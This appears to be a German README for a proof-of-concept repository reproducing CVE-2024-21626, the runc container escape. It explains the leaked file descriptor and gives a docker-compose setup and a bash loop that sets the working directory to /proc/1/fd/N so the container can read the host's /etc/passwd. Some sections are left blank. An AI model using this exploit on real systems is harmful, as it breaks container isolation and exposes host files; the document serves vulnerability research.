
CVE-2024-21626-poc-research-Reappearance-andtodo
Nutzung:
docker-compose up
Überprüfung: Wenn /etc/passwd des Hosts erhalten werden kann, ist die Schwachstelle vorhanden
Umgebung: runc: >=v1.0.0-rc93,<=1.1.11
Angriffsdetails und Prinzip: In den betroffenen Versionen von runc werden während der Initialisierung einige interne Dateideskriptoren preisgegeben, darunter ein Handle auf /sys/fs/cgroup des Hosts, und runc überprüft nicht, ob das endgültige Arbeitsverzeichnis im Mount-Namespace des Containers liegt. Ein Angreifer kann die process.cwd-Konfiguration auf /proc/self/fd/7 ändern oder den spezifischen Pfad, der beim Aufruf von runc exec auf dem Host über den Parameter --cwd übergeben wird, durch einen Symlink auf /proc/self/fd/7/ ersetzen, sodass Prozesse im Container auf das Dateisystem des Hosts zugreifen und es manipulieren können, wodurch die Isolationsmechanismen des Containers umgangen werden.
Weitere Details (GIF-Bild):

CVE: CVE - CVE-2024-21626 (mitre.org)
Entdecker dieser Schwachstelle: CVE-2024-21626 runc process.cwd und preisgegebene fds Containerausbruch | Snyk (snyk.io)

Die tatsächlichen FD können sich je nach Reihenfolge der Dateiöffnung ändern. Sie können das folgende Skript zum Brute-Force verwenden:
/// #!/bin/bash
for i in {3..10} do # 使用变量构造工作目录,并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///
Lokaler Test erfolgreich:
fd/9 funktioniert mit runc-Version: 1.1.10, 1.1.2

Wenn runc --version 1.0.0 ist

Wenn runc --version 1.1.4 ist, funktioniert fd/8
Heute frisch veröffentlichte Schwachstelle Im Folgenden weitere Details
Kann mit folgenden Methoden reproduziert werden:
Todo: runc Breakpoint zum Abrufen von fd, um Automatisierung zu ermöglichen